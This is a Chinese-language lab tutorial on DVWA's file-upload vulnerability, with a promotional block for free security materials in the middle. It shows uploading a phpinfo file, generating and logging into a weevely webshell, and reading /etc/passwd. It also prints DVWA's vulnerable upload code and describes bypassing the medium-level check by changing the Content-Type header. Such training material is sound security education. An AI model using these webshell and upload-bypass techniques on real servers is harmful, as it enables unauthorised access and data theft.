五 DVWA 黑客攻防演练文件上传漏洞 File Upload

说起文件上传漏洞 ,可谓是印象深刻 。有次公司的网站突然访问不到了,同事去服务器看了一下 。所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映射不到 jsp 文件,同时怀疑是攻击者上传了个 webshell 文件然后进行批量重命名了 。
把后台的代码都找了一遍,后台代码也都有验证文件扩展名的,后面是发现一张普通的照片其实是代码来的,但也不知道为何能够执行 。但看完这篇文章你就会明白了 。下面用 dvwa 来演示如何攻击和防御 。
低级用户界面是这样的,是一个简单的上传文件功能 。

五 DVWA 黑客攻防演练文件上传漏洞 File Upload

文章插图
 
然而 Hacker 就上传一个 phpinfo.php 文件
<?phpinfo();?> 。。。结果如下
然后打开链接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,又看到熟悉的界面了 。
五 DVWA 黑客攻防演练文件上传漏洞 File Upload

文章插图
 
Hacker 想用 webshell 的方式尝试一下 。于是就用 Kali linux 预装的 weevely 工具生成一个 webshell 文件,这里的 123456 是密码,这个 webshell 要用密码登录的 。
① 200多本网络安全系列电子书
② 网络安全标准题库资料
③ 项目源码
④ 网络安全基础入门、Linux、web安全、攻防视频
【五 DVWA 黑客攻防演练文件上传漏洞 File Upload】⑤ 网络安全学习路线
免费领取私信”安全“
weevely generate 123456 /root/webshell.phpGenerated backdoor with password '123456' in '/root/webshell.php' of 1479 byte size.上传完文件后,登录
weevely http://192.168.0.110:5678/hackable/uploads/webshell.php 123456weevely> lsdvwa_email.pngwebshell.phpwww-data@56e69b5b67b6:/var/www/html/hackable/uploads $ cat /etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin就变成你的地盘我做主了 。再来看看低级代码 。
<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path= DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}?>为何会变成这样的呢?觉得主要是没有限制文件扩展名吧 。
中级而中级代码,多了文件类型和文件大小的限制
<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path= DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];// Is it an image?if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}}?>这里代码看上去好像类型都判断了,应该是不能上传 php 代码了吧 。然而 Hacker 打开火狐浏览器的调试器(谷歌浏览器没有修改功能,用 brup suite 之类的抓包也可以的),找到对应请求后右键选择-> edit and resend 然后将头部的 content-type 改掉,再重发请求
结果如下
打开链接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,依然能看到熟悉的界面 。




    推荐阅读